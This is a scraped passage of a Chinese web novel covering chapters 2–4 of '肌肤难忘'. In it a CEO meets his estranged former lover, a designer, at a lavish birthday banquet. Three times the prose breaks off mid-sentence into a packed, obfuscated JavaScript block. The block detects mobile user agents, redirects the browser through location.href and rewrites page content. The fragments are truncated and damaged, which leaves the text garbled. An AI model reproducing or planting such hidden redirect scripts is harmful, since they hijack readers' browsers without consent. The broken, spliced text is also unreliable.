《肌肤难忘》 2. 最近距离 总裁办公室里一片狼藉,桌子和沙发上扔满了文件,两块移动白板被写得密密麻麻。 男人独自端坐桌边,肩背挺拔,面前的屏幕不知道已经亮了多久。 笃笃,响起敲门声。 “进。”男人出声。 Patti打起精神摆出专业姿态,踩着舒适的平底鞋推开门,把一沓资料放到男人手边,让本来就堆满纸页的桌面更满了。 “舒总,这些是研究部最新的调研报告,重点回答了投资人上次提出的一些问题。” 舒枕山推开手中的事,头也不抬地把报告拉过来看。 快速翻看后,目光专注地停留在几页上,脸上越来越没表情。 Patti一看他这样,心里就道了句“完了”,看来还是不满意。 看着老板平整挺括的衬衫、一丝不乱的发型、和那因为忙碌反而愈发清俊的下颌线条,Patti内心第无数次地涌现出敬佩和震撼。 这是他们老板连轴转的第五天,日程表满得塞不进去一只蚊子,Patti估计他每天平均睡眠时间不足五小时。 舒枕山不久前提出了一个产业拓展计划,遭到了董事会和持股人的坚决反对。 集团做商业地产起家,后来拓展到娱乐和金融行业,舒枕山在任的几年里,逆市而行,在一片萧条中将这些板块发展得很好,堪称奇迹。 对于未来的发展策略,大部分高层的主张都是稳扎稳打、持续深耕,拓宽国际影响力,然而舒枕山在这个节骨眼上,突然提出要投资研发机器人。 做什么?机器人?他当自己在拍科幻电影儿呢?当时某个高层拍案而起,怀疑自己耳朵瞎了。 更何况舒枕山一开口就是成亿的规模,也不怪会遭到这么多反对,正常人都会觉得风险太大。 所以舒枕山这些天都在试图说服投资人,报告和计划书前后做了大几百页,每一页内容舒枕山都烂熟于心—— 只用了不到五天,投资者那边的态度就有了转向的迹象。 Patti毫不怀疑,这些人很快就会被舒枕山说服,然后心甘情愿、热血沸腾地砸钱进来。 舒枕山似乎有种能轻松忽悠人的超能力,你不知不觉就会跟着他的思路走,然后心服口服地追随他。 更牛逼的是,他不仅擅于画饼,还有能力真的把饼烤得金黄油亮、十里飘香,热乎乎地揣进你钱兜里。 所以被他忽悠也是人之常情。 不过Patti隐约能感觉到怪异,这次业务扩展和以往不太一样——舒总太上心了。 即使它只是一个尚未成型的小胚胎,舒枕山也甘愿不计回报地付出,越熬夜越精神,越工作越起劲儿。 Patti和二助要轮班倒才不至于猝死,而舒枕山在这种炼狱般的工作强度下居然还能保持形象,还能让Patti在行尸走肉的打工间隙抽出宝贵的0.01秒赞叹一句老板长得真挺养眼,没人知道这位神人究竟是怎么做到的。 他们老板压根不是人! 不是人的舒枕山安静地看了报告五分钟,啪地一声合上文件,甩到桌沿,语气平平地问Patti:“还有没有别的事?” Patti精神一凛,答:“没有别的事,就是和您确认一下今晚的行程。郝总的生日宴会将在下午五点开始,需要帮您准备什么吗?” 舒枕山滞了一秒,才道:“不用。” 哦,今天是郝乐的生日啊,他都给忙忘了,呵呵。 “好的。造型老师已经到了,衣服也准备好了。” Patti的尾音微微有些上扬,差点掩不住即将下班的激动。老板一整个晚上都是私人行程,意味着她终于可以短暂地放个假,爽耶。 “噢对了,还有一件小事。” Patti把手中的杂志放到舒枕山桌上,“之前《环球财富》采访您的那一期出刊了。您要看看吗?” 舒枕山随意扫了一眼封面,目光罕见的有些恍惚。 身体先他的视觉一步做出本能反应,麻痹感从脊柱蔓延到四肢,心脏猛地跳快,像音乐节上震响地面、敲髓连筋的沉重鼓点。 Patti心思已飞到下班后的甄嬛传赏析环节去了,所以没注意到老板的异样。 舒总从来不把这些和工作无关的小赞誉放在心上,他也绝不会自恋到去回味自己的采访,Patti便很自然地又拿走了这本杂志,体贴地说:“如果您不需要的话,我就先帮您收到……” “放我这吧。”舒枕山出声,嗓音有点哑。 Patti眨眨眼:“嗯?” 舒枕山面不改色:“杂志放下。” “好的。”Patti从善如流地照做,心中很疑惑,但她不会问。 “没什么别的事就回家吧。”舒枕山收回目光,语气称得上温和,“辛苦了。” Patti赶紧说不辛苦不辛苦,迅速地关上门溜了。 办公室陷入沉寂,偌大的房间里,阳光下只有飞尘在缓慢飘荡。男人沉默着,英俊的侧脸轮廓被染上一层淡淡的金边。 杂志封面是他的照片,旁边有他的名字“舒枕山”,而另外一侧,写着其他受访者的名字和小标题。 只是因为“冉”这个姓氏相对稀有,所以他第一眼看到的不是自己的名字,而是另外一个人的。 冉步月:重塑世界。 翻开目录,“舒枕山”的名字在首栏,再往下数三个栏目,印着“冉步月”。 两个名字之间的距离大约是18.6厘米。 这是六年来,他们距离最近的一次。 因为交上来的方案都做得太烂,舒枕山不想再多看一眼,现在又恰好有些闲暇时间,所以他开始阅读平时根本不屑于读的《环球财富》正文内容。 文章讲述了冉步月的职业生涯和设计理念,旁边是杂志给冉步月拍的采访照片。 图片中的青年坐在阳光下,长发随意披至肩头,没有看镜头,而是看着窗外,仿佛沉浸在自己的思绪中,世界都与他无关。 冉步月背后的墙面上,挂着他任职公司的logo。 显然这张照片的构图有很大问题,洋人公司的logo太大,比例过重,很刺眼。 而且只需一眼,舒枕山就发现他瘦了。 看来鬼佬公司的伙食挺差劲的。 消瘦的两片锁骨顶起衣领边缘,像一双薄薄的、展开的翅膀。 舒枕山知道,摸上去肯定很硌手。 因为他摸过很多遍。 他能完全把冉步月整个人抱进怀里,像大虾米抱着小虾米。手搭在他腰间,解开衣扣,从小腹开始往上摸,摸到锁骨和喉结为止。 舒枕山声称此举与情欲无关,只是在定期检查冉步月有没有乖乖吃完饭。 最开始浑身都摸不到几两肉的人,慢慢被他养好了不少,体重达到健康的标准。 舒枕山到后来都不用上手,也不用体重秤,看冉步月几秒钟就能判断出他胖了还是瘦了,进而判断出他近期的心情和压力水平。 神奇的是,即使隔着照片,这项技能居然也没有消失。 不过现在,不管冉步月是高矮胖瘦,不管大洋彼岸的公司餐厅售卖草莓小笼包还是菠萝水饺,都和舒枕山没有半毛钱关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103009|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是关于一位中国设计师的文章而已,舒枕山逐字看下去,情绪平稳,心如止水。 笃笃,有人敲门。 Patti在外面问要不要让造型师过来,晚宴前的时间不多了。 “……” 舒枕山怔忪回神,眼前赫然是被揉皱得面目全非的杂志页角,不知道谁干的。 直到Patti又问了一次,舒枕山才把杂志收进抽屉,云淡风轻地提声道:“我去造型室。” 造型师早已在造型室等着了,身旁立着一个大的化妆箱,后面挂了几套考究的男士礼服。 “舒先生,挑件您喜欢的吧。”造型师很热情。 舒枕山顿时头大,心里把郝乐骂了第一百零一遍。 郝乐从小就是最爱闹腾的,二十七了还是玩心不改,说什么27是他的幸运数字,所以27岁生日要大办特办。 他给每位宾客发了一张烫金的邀请函,用花体英文写着时间地点,还有严格的dress code,要求宾客仿照《了不起的盖茨比》里1920年代的穿衣风格,主打一个复古、奢华、纸醉金迷。邀请函甚至很大牌地警告,不符合要求的宾客会被禁止入场。 刚拿到邀请函的时候,舒枕山被浮夸得说不出话,但一想到是郝乐,就什么都合理了。 不到一秒钟,舒枕山就挑中了所有礼服中最经典的那套塔士多。 非常低调的选择。造型师颇有些遗憾,劝说舒总试试别的,比如旁边那套高规格的燕尾服。 “燕尾服只有您这种身高和身材穿着才好看,也不用担心用力过猛,您压得住。” 在任何造型师眼里,舒枕山都是个完美的衣架子,五官深邃英俊,气质温沉,却又隐匿着难以言说的危险气势。不用担心他撑不起衣服,只有衣服被他驾驭的份。 以前在美国留学的时候,就常有模特公司找上门来。当时郝乐不止一次地打趣说:“阿枕,你转行做男模算了,没准能挺进好莱坞。” 舒枕山想到刚刚在杂志上看到的照片,心说,能去做模特的其实另有其人。 穿戴整齐站在落地镜前,造型师打量几秒,满意道:“挺好的。给您配个口袋巾吧。” 舒枕山拉开储藏阁,叠好的口袋巾塞满了整整一抽屉,什么面料和花色都有。 塔式多礼服一般配白色口袋巾,造型师扫一眼就分辨出其中最好的面料和品牌,询问道:“舒总,选这条?” 舒枕山从来不在衣着方面多费心思,造型师搭什么他穿什么,今天却反常地否定了造型师的选择。 他沉默片刻,指向另一个方向:“那条吧。” 造型师顺着看过去,这才发现储藏阁正中央放着一条展开的口袋巾,白色,普通得不能再普通,甚至不是丝绸,而是亚麻质地。 造型师立刻阻止道:“这条不适合今晚的场合……” 言下之意是嫌它太廉价,戴出去掉价。 这玩意儿挂在厨房立刻就能当抹布,如果出现在舒枕山胸口就太荒谬了。 但很快,造型师悔不当初地闭上嘴。 因为他突然意识到,既然它如此普通,却被摆在最显眼的地方,像博物馆里的镇馆之宝被珍视着,只能说明一件事—— 它很特殊,也很重要。 舒枕山已经走了过去,把它取下来折好,放进自己左胸口袋里。 折得不是很规整,像两只扁扁的兔耳朵。 造型师的声音莫名其妙地变轻了,像是怕惊扰了它:“舒总,我再帮您整理一下。” 舒枕山说了句“不用”,转身就走,没让造型师碰。 3. 久别重逢 飞机降落鹏城国际机场,距离郝乐的生日晚宴只剩下三小时。 从下飞机,冉步月就跟打仗似的,去临时酒店放行李、洗澡梳头、穿衣打扮,提着给郝少爷的礼物,马不停蹄地打了辆出租车,直奔宴会地点。 出租车上,田小喆可算喘了口气:“妈呀累死了,希望不会迟到。” 冉步月闭眼靠在后座上,眉心疲倦,眼底有淡淡的青色。 “老大,你还好吗?”田小喆担心道,“如果太累了的话,咱干脆不去了?就说从机场回来堵路上了。” 十几个小时的航程,冉步月睡得很不踏实,餐食也没吃两口,晕机几次,都吐不出什么东西。 田小喆对此束手无策,他唯一能做的,就是一人包圆了两人份的头等舱飞机餐,践行了光盘行动。 冉步月问:“空姐问你要不要点餐,你点不点?” 田小喆没懂这和去不去宴会有什么关系,还是老实地回答:“点啊,当然点。我能吃为什么不吃?” “是啊。所以我会去。” 田小喆竖起大拇指:“老大,你是这个。” 临近生日宴会场,田小喆逐渐发现他们是车流里唯一的出租车,前后左右都被豪车簇拥着。 田小喆没胆气地缩了缩脖子:“我们是不是应该租一辆玛莎拉蒂来的啊……” 冉步月眼睛都没睁:“我们应该骑共享单车来。” 片刻后到达目的地,田小喆拜拜闪人,助理秘书们一律没资格进会场,便自己找地儿消磨时光去了。 冉步月神情自若地走下出租车,向侍者出示邀请函,穿过古典油画般的花园,走入精致得如城堡的建筑物,奢华馥郁的气息扑面而来。 繁复的水晶吊灯从富丽堂皇的天穹垂落,旋转大理石楼梯如花瓣绽开,女士们摇曳的镶钻裙摆与先生们锃亮的皮鞋尖相辉映,珠宝与头饰流光溢彩。大厅仿佛化成了一池春水,池中衣香鬓影,波光粼粼,芬芳荡漾。 冉步月看着宾客们隆重华丽的衣着,再低头看看自己,突然意识到什么,翻出邀请卡背面,果不其然看到了被自己忽略的着装要求。 他只穿了件白色丝绸衬衣,配一枚黑蛇胸针,简直是《买不起的盖茨比》。 得,出师未捷身先死,还没开始钓冤大头呢,估计就要被赶出去了。 就在冉步月正兀自遗憾的时候,一阵浓郁的男士香水味扑鼻而来,伴随着惊喜的声音:“冉老师,你到啦!” 映入眼帘的便是郝乐那张乐得像朵花儿似的脸,像年画娃娃长大了之后的样子,特喜庆,和他身上那套高定很不相称。 冉步月被呛得差点咳嗽,挂上礼貌的笑容,把礼物递给他:“郝总,生日快乐。” “哎呦多谢!郝什么总,叫我乐乐就行。” 郝乐大大方方地接过礼物,压根没在冉步月衣着上挑刺,自来熟地搭上他的肩膀,“冉老师,你第一次来,不怎么熟悉,我带你随便转转吧!” 晚宴前的鸡尾酒会是最佳的社交时机,宾客们三五成群,自由攀谈,侍者们端着小食与酒水穿梭其中,客人们可以随意取用。 郝乐将冉步月介绍给几位制造业的高管,不着痕迹地把冉步月夸了一通,没过几分钟就花蝴蝶似的回去门口迎宾了,他毕竟是今晚的主角,忙得很。 即使郝乐的介绍很简短,也足够成为有力的引荐。冉步月顺势与他们聊了下去,相谈甚欢。 没过一会儿,名片夹里就多了好几张名片。 现在的冉步月仿佛变了一个人,谦逊幽默,如鱼得水,完全看不出方才在车上的疲惫,更没人知道他才从另一个大洲辗转回国,舟车劳顿马不停蹄才赶到这里。 冉步月端着香槟杯,满脸认真地倾听别人讲话,眼前猝然泛起密密麻麻的花点,差点没站稳。 灯光刺眼,香水熏人,晕机时反复体验过的那股恶心又开始翻腾,冉步月借力撑住高桌,站稳,拼尽全力才把这种感觉压下去。 眼睛闭上几秒再睁开,便恢复了清明。 又有人过来敬酒攀谈,冉步月熟稔地和他碰杯,两三句寒暄后,面带微笑地一饮而尽。 - 舒枕山到场的时候,鸡尾酒会几乎接近尾声。 郝乐指着舒枕山鼻子骂,你小子是不是都打算鸽了?这么晚才来! 舒枕山用指尖敲了敲表沿,意思是正餐还没开始,我很准时。 郝乐叉腰:“这前头不还有酒会吗?真不给我面子!”不过他这话也就是嘴上一说,并没有什么责怪的意思。 这样的酒会通常是向上社交的好机会,但对于舒枕山来说,在场的人要么他已经很熟,要么根本没必要结识。说得难听点,这场酒会没什么去的必要。 郝乐也清楚舒枕山最近忙着从投资人口袋里掏钱,所以本来就没指望他出席餐前酒会。 “噗。”郝乐瞥向舒枕山胸口,突然乐了。 舒枕山:“?” “又是这条胸袋方巾啊。”郝乐的眼神有些意味深长,说着就想拿手去碰。 舒枕山面无表情地拍开他的爪子。 “啧啧。”郝乐早料到他会这么做,贱兮兮地缩回手,忍不住第一百零一次八卦:“阿枕,一块布这么多年都不扔,到底为什么啊?” 口袋巾的佩戴很讲究,花色要与衬衣领带相协调,又不能完全一致,面料材质也有许多门道。舒枕山不会不懂这些基础礼仪。 但在某几次重要场合中,无论他穿着什么颜色的西装或领带,胸前都戴着这条平庸陈旧的白色口袋巾。 郝乐自诩时尚小王子,所以对这些七零八碎的配件很在乎,敏锐地发现了舒枕山的隐秘偏好。 这种冷酷无情的工作狂居然也有在乎的宝贝,别人碰都不能碰的,太让郝乐好奇了。 不出所料,舒枕山第一百零一次没回答。 郝乐第一百零一次压下心中刺挠的小爪子,抬手揽住舒枕山的肩膀,故弄玄虚地说:“既然你早到了,我就带你去认识个人。” 舒枕山配合地展现出兴趣:“谁啊。” “一个特别牛的设计师。等你说服那帮老头,机器人项目正式启动之后,你肯定用得上。” “哦。”舒枕山淡淡回应,“设计师我自有人选。” “切,你选十个人都抵不上我这一个!听我的阿枕,你之后会感谢我。”郝乐很有自信地拍自己胸脯,又压低一点声音,“而且说实话,我觉得你和他会很聊得来。” “嗯嗯。”舒枕山配合地点头,“谁?” “我找找他在哪。” 郝乐领着舒枕山穿过觥筹交错的人群,像大明星滑入舞池,一路上花团锦簇,道贺声声,寿星满面春风地和无数人碰了杯。 “他很年轻,作品得过一堆奖,之前帮我们做的产品非常出色。后来他给美国佬工作了几年,最近回国了,准备开自己的工作室。我奉劝你,趁他现在工作不多,赶紧把他抢了,小心到时候人家根本没时间接你的项目。” 听到前半句话的时候,舒枕山便莫名焦躁起来,手指捏紧了酒杯,心跳也莫名变得很快。 “话说我突然想起来,他好像跟你是同一个大学毕业的……噢看到了!他在二楼。” 然而在郝乐出声之前,舒枕山早已看到了站在楼梯扶手边的那个人,因为他太显眼,很难注意不到。 在繁复典雅的深色礼服海洋中,只有他单穿一件简单的白色丝绸衬衣,丝滑垂坠,勾勒出清瘦高挑的轮廓。 万黑丛中一粒白,四周庸庸众人,全沦为模糊不清的背景板。 满桌黑色丝绒,他是卧在中央的那粒珍珠扣。 郝乐仍在耳边雀跃地喋喋不休,但舒枕山什么也听不清。 他一步步走上大理石台阶,仿佛一步步踏入许久未进入的河流,冰冷的河水漫过他的腿、腰、胸口,巨大的水压闷住他的呼吸。 印刷在杂志纸页上的人,此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103010|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就真实地出现在眼前。 好像在做梦。 冉步月手里拿着红酒,懒洋洋地晃动,动作从容而自然,时而啜饮,唇上沾染淡红。 他什么时候学会喝酒的?现在喝了多少? 冉步月突然朝别人笑了一下,这顿时令舒枕山清醒了不少。 舒枕山这才发现冉步月身边还站着一个衣冠楚楚的男人,两人举杯相碰,交谈甚欢。 冉步月领口的丝绸随着他举杯的动作滑落存许,露出两片雪白瘦削的锁骨。 不用摸,甚至不用走近,舒枕山随便看一眼就知道他瘦了。 比杂志照片上更瘦,几乎透着病气。 舒枕山心里针扎似的发颤,一股无名火猛地窜起来。 不知道旁边那男的说了句什么,又把冉步月逗笑了。 随后,两人交换了名片。 显然这是一场愉快的社交。 “嗨嗨,冉老师和曜哥聊着呢,打扰啦。” 郝乐尚未站稳,酒杯先老练地和他们碰了两声。 男人笑着说“寿星大驾光临”,看到落在郝乐身后几步的人,又热情礼貌地喊了声“舒总”。 舒? 冉步月转身抬眼,半秒也来不及躲,猝不及防撞进一双漆黑的眼眸。 …… 潮水退去,星月升起。 眼睁睁看着冉步月笑容消失,双颊血色褪尽,嘴唇瞬间变得苍白。 舒枕山一脚踩空,被推下悬崖,空白的失重感袭来,后知后觉地感到刺痛。 呵呵,就这么讨厌我。 舒枕山在心里自嘲地一笑。 郝乐笑嘻嘻地揽住两人:“来来,给冉老师介绍一下,这是舒枕山,砚川集团的总裁兼董事。这位是冉步月,特别厉害的大设计师,最近刚回国,他也是M大毕业的。没准你们以前认识呢哈哈——” “不认识。” 舒枕山说。 郝乐愣了愣,狠锤了他肩膀一下,笑道:“你比人家老几届呢,不认识也很正常啊。现在不就认识了吗?” 舒枕山站在低一级的台阶上,冉步月正好与他平视。 然而冉步月什么也做不了,只紧紧盯着他,脑子里一片空白。 不认识。 舒枕山说不认识他。 “冉总监好。” 舒枕山礼貌地点头致意,抬了一下酒杯。 冉步月直勾勾地看向舒枕山,他的眉眼轮廓比以前更深,气场更沉敛稳重,压低的双眸却好像能把人洞穿,藏着很强的攻击性和侵略性。 比以前藏得更好。 这双眼睛,他曾经凝望过无数次。 他们的距离太近了,近得令人难以忍受。 按照社交礼仪,冉步月这时应该说“舒总幸会”,或者“久仰大名”,于是他强迫自己伸手举杯,然而手指和声带却不听使唤。 要死不死的,宕机的五官突然都恢复了运作,四周人声鼎沸涌入耳朵,乱七八糟的香水味冲入鼻腔,一阵天旋地转,冉步月好像回到了在夜空中沉浮的狭窄机舱。 “啪!” 一声脆响,酒杯正好砸到舒枕山胸口,然后在台阶上摔了个粉碎。 深红的酒液浸透了舒枕山的衬衣、礼服,和胸前白色的口袋巾,滴滴答答地往下淌。 四周一片死寂。 舒枕山低头,脸色变得非常难看。但他没有把口袋巾抽出来,而是迅速把它整个塞进了胸袋里,一点边角也没露出来。 意外发生得太快,郝乐目瞪口呆,心里蹦出俩加粗大字:完了。 这是要了舒枕山的狗命啊! 他惊愕且惋惜地看向冉步月,兄弟,敬你是条汉子,做了我一辈子想都不敢想的事。兄弟,一路走好! 然而接下来,就发生了一件令郝乐更为震惊的事—— 冉步月漠然涣散的目光在舒枕山脸上停留许久,突然弓起后背,“哇”地干呕起来。 4. 心狠手黑 郝乐魂飞魄散。 他见过有人对着舒枕山的脸犯花痴,见过有人掩面脸红害羞,但是对着舒枕山这张公认的帅脸呕吐的人,他还是第一次见。 原来舒枕山这么丑的吗?? 冉步月面色奇差,低头说了句“抱歉”,匆匆走向洗手间的方向。 郝乐急得大喊:“冉老师,你还好吗?” 对方走得匆忙,没有回应他。 扭头一看,被撇在原地的舒枕山脸色更是差得要命,郝乐顿时一个头两个大。 “草,我也不知道阿冉怎么了,平时他不这样儿的,工作更不会这样。哎我等下带他来给你赔礼道歉!” 郝乐看着舒枕山那被彻底糟蹋了的口袋巾,小心翼翼地问,“哎那啥,我到时候叫他帮你把这宝贝洗得干干净净……?” “阿冉?”舒枕山微微皱眉。 “啊,我叫他阿冉啊,怎么了?”郝乐一头雾水。 舒枕山看着他,冷声说“没什么”,又问:“他什么时候回来的?” “啊?” 郝乐也不懂舒枕山为什么问这个,脑子还没转过来,嘴先秃噜上了,“什么什么时候回来的,你说冉步月什么时候回的国?就是最近啊,这几天吧……” “具体哪一天。” “我,我不太清楚啊......” “你不是他朋友吗?” 能喊他“阿冉”的好朋友。 郝乐看着舒枕山淡淡的表情,虽然不知道为什么,但莫名浑身汗毛倒竖。 快想啊,死脑袋快想啊!冉步月哪一天回国的? 不快点回答上来,《了不起的盖茨比》就要变成《通往天国的倒计时》了! “啊,噢!我想起来了!” 郝乐激动地摇晃舒枕山,语速快得好像下一秒就要爆炸,“就是今天刚到的!因为他之前拒绝过一次我的邀请,说中午刚落地,下午就要参加宴会时间太赶,但是后来还是被我说服了……” 中午落地,下午出席宴会,意味着完全没有休息和倒时差的时间。 睡眠差,时差症,晕机,空腹,饮酒。 舒枕山磨了磨后槽牙。 郝乐很久没看过舒枕山这副要杀人的样子,腿都快吓软。 这时有人跑来找郝乐,说宴会快开场了,请郝乐这位主角快去候场。 “你去吧。”舒枕山竟然语气温和,“我去换衣服。” 越是温和越让郝乐胆战心惊——舒枕山问了冉步月的航班号,是不是要顺着查到他的身份行踪和住处,然后找冉步月寻仇啊?是不是要株连自己啊?完蛋了啊! 这完全是舒枕山干得出来的事。 郝乐被秘书带走前,欲哭无泪地留下一句叮嘱:“枕哥,你冷静啊!” 舒枕山目送郝乐魂不守舍地飘走,没有去换衣服,而是找了个侍应生,要他带着自己去后厨。 侍应生怀疑自己听错了,又问了一遍:“舒先生,您要去哪?” 舒枕山重复:“后厨。” 如果不是认出舒枕山是大老板的朋友,值得信赖,他们是不可能带陌生宾客去厨房重地的。 大厨们正在有条不紊地出菜,旁边许多帮厨忙着打下手和装盘。 舒枕山环视一圈,找到暂时还闲着的甜品师傅,请他帮忙炖一盅番薯姜汤。 食材很常见,厨房里有现成的。师傅岂敢怠慢,应了句“没问题”,便着手开始做。 很简单的广式糖水,连炸厨房的小白都会做,但师傅做着做着汗就滴下来了。 怎么这位大佬不走呢?为什么要倚在墙边用那种恐怖的眼神监工?我又不会往里头放毒药! 接着就听大佬吩咐道:“姜片厚切,多加一点。” 师傅赶紧答应:“好。” “不要加红糖。” 师傅犹豫道:“这样姜味会比较刺激。” 舒枕山耐心地重复:“不要加。” “……好的。” 师傅暗自咋舌,这是要给仇人吃吧?这老姜味儿还不加糖,能给人辣死。 算是见识到传闻中的舒总有多心狠手黑了,真是名不虚传。 不知为何,过了一会儿,舒枕山又改了主意:“还是加一点糖吧。” 师傅松了口气,大佬心善,还是给人留了一线生机。 - 洗手间里连水龙头都是金色的。 冉步月用冰水洗了好几次脸,满面水珠,顺着苍白的脸颊往下淌。 洗手间的大门口传来脚步声,冉步月戒备地直起身,看到来的是侍应生,又无声地放松了些。 侍应生担心道:“先生,请去休息室休息一会儿吧,有医生可以帮您查看一下情况。” 冉步月下意识便说:“不用了。” 侍应生露出真诚而为难的表情:“这都是我们应该做的,如果您在我们的宴席上,身体不舒服却得不到照顾,郝先生也会责怪我们的。” 于是冉步月没有再推脱,跟着侍应生去了休息室。 医生检查后说没什么大碍,主要还是饮酒和低血糖,吃些东西休息一下就好。 侍应生推着小车进来,上面摆着一些餐点,精致可爱,适合入口,用来垫垫肚子最合适不过。 冉步月扫了一眼,连声道谢,说不用吃了,他马上就会回宴会厅。 白头发医生责备地看着冉步月,操着一口别扭广普,语重心长地说:“不要仗着自己年轻就不注意身体,你看你都要瘦成骨架子了,还有你这脸,白到似张纸!哎,要多吃点呐靓仔,等你老了就知道后悔了……” “……” 冉步月慢慢端起粥,沉默地喝了一口。 可以入口,但不好喝。 “这就对了嘛,再食多啲。” 冉步月轻轻摇头:“不用了,谢谢。” 对着琳琅满目的昂贵餐点,冉步月愣是提不起半点胃口。 医生急眼:“哎你这孩子!” 一个侍应生敲门而入,端着一盅热腾腾的糖水,放到冉步月面前。 “先生,这是后厨刚刚炖好的,您趁热喝。” 冉步月倍感压力:“真的不用了,太麻烦你们,做多了也是浪费。” “没有没有。”侍应生急忙摆手,“这些本来就是做给所有宾客的,郝…郝总说身体不舒服最好吃点热乎的,就让厨房先…先给您炖了一份。” 侍应生差点舌头打结,好险说岔。 心中叹气,哎,我们这种小配角,生来就是帮没嘴主角传瞎话的。 做都已经做好了,冉步月不好再拒绝,心里默默记下对郝乐的感谢。 郝公子看着花里胡哨的,做起事来却很周到。 瓷盅外壁还是滚烫的。掀开瓷盖,暖香扑来,接着窜上一股浓烈的姜味。 姜汁番薯糖水。 “有冇搞错,咁多姜。”医生挪远了一点,表情嫌弃,“叫厨师下岗吧,换我。” 冉步月安静地观察着这盅食物,用勺子轻戳番薯,再舀起汤喝了一口,表情细微地放松了些。 好喝。 就是有点甜。 冉步月垂下眼,开始认真对付番薯。 他懒得张大嘴,一口只够塞进小半块,但进食速度出乎意料地快,就这么悄无声息地解决了所有番薯崽。 在医生惊讶的目光中,冉步月捞起最厚实的那片老姜,凑近轻轻嗅了嗅,然后咬了下去。 “你喜欢吃姜啊?”医生奇道,“现在年轻人很少喜欢吃姜的。” 冉步月小口嚼着姜,感受到辛辣刺激的味道在唇舌间爆开,享受得眼睛都微微眯了起来,答:“没有很喜欢。” 医生:……行吧。 他又这么悄无声息地消灭了大半姜片,瓷盅见了底。 宴会厅那边遥遥传来音乐声,算算时间也差不多该开席了。 虽然很抗拒回去,但冉步月还是道谢后离开了休息室。 四肢温暖起来,脑子却开始疼。 舒枕山怎么在这里? 想来也是郝乐邀请的,可惜冉步月不知道他们是朋友。郝乐没有出国留过学,围绕在舒枕山身边的朋友数不胜数,冉步月不可能全都记得,而且他也不配关心。 早知舒枕山来,他就不来了。 事已至此,冉步月不可能丢下烂摊子逃跑,他不再是六年前那个孤僻的学生仔。 不论怎样他都应该去给舒枕山道个歉,刚刚那杯红酒可能毁了一套价值六位数的礼服。 冉步月本来有些不安,回想起刚刚舒枕山说“不认识”他,冉步月又放松了。 是啊,他们早就没有任何关系了。 他们曾经的那一年,就像荒山深处的遗址,新建时人迹罕至,许多年后更是被杂草掩埋,彻底从世间消失匿迹。 舒枕山都不认识他了,他还有什么在乎的必要。 在冉步月休息的这段时间,郝大寿星发表完了他精彩绝伦的演讲,台上换成了乐队表演,晚宴正式开始。 侍者将冉步月领到他的空位置,位于长桌末端,旁边坐的正好是刚才认识的李曜。 李曜见冉步月回来,关切地问:“冉老师,你还好吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103011|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谢谢李总,我没事。”冉步月笑笑。 “人没事就行,别的都不重要。”李曜宽慰道。 冉步月知道他的意思是不要因为泼湿了舒枕山的衣服而太过自责。但是自责也没用,祸已经闯了。 冉步月给自己斟了诚意满满的一杯酒:“我还是得去跟舒总赔个不是。” “恐怕你得等会儿了。”李曜朝长桌前端的方向努努嘴,笑道,“舒总太抢手啦。” 舒枕山坐在郝乐旁边,一堆人围着他们敬酒,主要是冲舒枕山去的,因为他没有去刚才的酒会。 只见舒枕山已经换了一身基础款的西装,除了领带没有别的配饰,外套随意敞开,却仍然鹤立鸡群。 他这样的身材,这样的脸,就是披个麻袋丢进盛装出席的男人堆里,也毫无疑问会是最帅的那个。 冉步月承认,当年自己确实是相中了他的帅脸。这也没啥,毕竟谁会喜欢丑男呢? 很显然大家也都不是瞎子,殷勤敬酒的一部分是油头粉面的生意人,争先恐后地给舒枕山递名片,舒枕山都收了。 还有一部分则是英俊漂亮的男孩女孩,冉步月认出其中某个是位当红流量小生,脸蛋又嫩又俊,笑起来清纯又风情。 舒枕山和他碰杯,笑着不知道在聊什么。 砚川本来就靠文娱地产发家,是娱乐圈里只手遮天的“资本爸爸”,年轻演员歌手想搭上舒家一把手很正常。 这些年来,应该有数不清的美人前仆后继,使尽浑身解数,只为在舒总面前留个香影。 这也再正常不过。 冉步月淡然地移开视线,正好对上李曜微笑的眼睛。 “冉老师,刚才我的邀请,您考虑得怎么样了?” 李曜是一家新能源汽车的创始人,年轻有为,这些年乘风而上,公司发展势头很猛。 刚才酒会上,是他主动和冉步月搭的话,惊喜地得知冉步月准备回国发展,便问他要不要考虑去他们的新项目做设计总监,他们正缺一位富有变革精神、同时机械知识过硬的领头人。 冉步月对汽车设计挺有兴趣,便和李曜交换了名片,聊得正投入的时候舒枕山就来了。 这会儿续上之前的对话,冉步月感谢李曜的青睐,又表达了希望能了解更多项目细节的意愿。 “当然,冉老师一定要来我们公司转转。”李曜爽快地点头,又有些为难地说,“但我最近的行程还没有确定下来,等确定时间了,再告诉您,可以吗?” 